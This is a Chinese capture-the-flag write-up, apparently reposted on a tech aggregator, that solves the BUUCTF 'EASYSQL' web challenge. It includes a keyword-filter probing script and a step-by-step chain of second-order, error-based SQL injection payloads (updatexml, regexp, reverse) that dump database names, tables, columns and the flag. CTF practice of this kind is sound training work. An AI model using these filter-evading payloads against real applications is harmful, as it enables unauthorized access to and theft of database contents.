IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> BUUCTF WEB EASYSQL -> 正文阅读

[网络协议]BUUCTF WEB EASYSQL

sql注入题
看到login和register的双逻辑,本能反应往着二次注入里想,属于是条件反射了
现在register.php写个小脚本测试一下关键字

import requests
import time
sql_char = ['select',
			'union',
			'and',
			'or',
			'sleep',
			'where',
			'from',
			'limit',
			'group',
			'by',
			'like',
			'prepare',
			'as',
			'if',
			'char',
			'ascii',
			'mid',
			'left',
			'right',
			'substring',
			'handler',
			'updatexml',
			'extractvalue',
			'benchmark',
			'insert',
			'update',
			'all',
			'@',
			'#',
			'^',
			'&',
			'*',
			'\'',
			'"',
			'~',
			'`',
			'(',
			')',
			'--',
			'=',
			'/',
			'\\',
			' ']
url='http://9e3b9bbd-4087-4cbb-b901-257d3ae4fd47.node4.buuoj.cn:81/register.php'
for char in sql_char:
	payload = 'zhaoxian' + char
	data = {'username': payload, 'password': 'zhaoxian', 'email': 'zhaoxian'}
	response = requests.post(url=url, data=data)
	time.sleep(1)
	if 'invalid string' in response.text:
		print(char+" is illgeal")

过滤了还不少,比较无语的是你需要用户的email,你还把@给禁用了,多少沾点无理取闹了
ok,先随便注册一个账号,登录,四个超链接,点进去看看,后三个都是固定页面,没啥好看的,点进个人信息,看见有个changepassword,这是又一个与sql交互的地方
进行测试,之前过滤的字符在这里都是随便输入,且没有回显,失败了,然后又想二次注入,注册的时候带点没被过滤的特殊字符进来,会不会在changepassword里进行回显呢
照着这个思路,注册用户zhaoxian""",zhaoxian"之前我用过了
changepassword回显成功报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“zhaoxian”""" and pwd=‘3f84f070dd997dc077ab039697ecaf36’’ at line 1
用户名双引号闭合,密码单引号闭合,过滤字也知道了,干就完了,鉴于有明显的回显,而报错注入的函数有没有被禁用,考虑报错注入
and 和or被禁用了,但是&和|并没有被禁用
空格可以用经典的()代替
不写脚本了,直接手动注入
数据库payload
zhaoxian"||updatexml(1,concat(0x3a,(select(database())),0x3a),1)#
注入要在登录界面注,抓包就看到了,changpassword界面不传username
成功回显:XPATH syntax error: ‘:web_sqli:’
下面就是老套路
爆表名
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
回显
XPATH syntax error: ‘:article,flag,users’
爆列名
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())&&(table_name=‘flag’))),1))#
爆flag:
wangxiang"||(updatexml(1,concat(0x3a,(select(flag)from(flag)),0x3a),1))#
XPATH syntax error: ‘:RCTF{Good job! But flag not her’
真的太坏了,不过离拿到flag也不远了
干就完了,查找flag关键字
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(‘flag’)),0x3a),1))#
XPATH syntax error: ‘:FLAGS,FLAGS,FLAGS,flag,real_fla’
有了开头就好过多了,这题是真的坏
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(column_name)regexp(’^real_fla’)),0x3a),1))#
XPATH syntax error: ‘:real_flag_1s_here:’
后面判断这个列在哪个表中,就自己写sql语句吧,偷个懒,在users里
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)),0x3a),1))#
回显XPATH syntax error: ‘:xxx,xxx,xxx,xxx,xxx,xxx,xxx,xxx’
不得不说这题真是坏透了,继续正则
wangxiang"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^flag’)),0x3a),1))#
拿到一半flag
后面一般用reverse函数倒序输出或者substr去截取
wangxiang"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(’^flag’))),0x3a),1))#
XPATH syntax error: ‘:}e70706187884-586b-1234-c715-0d’
两个拼一下,得到flag
参考视频链接:https://www.bilibili.com/video/BV1za411b7tW/

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-12 17:57:52  更:2022-03-12 17:59:13 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年10日历 -2024/10/5 15:24:08-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码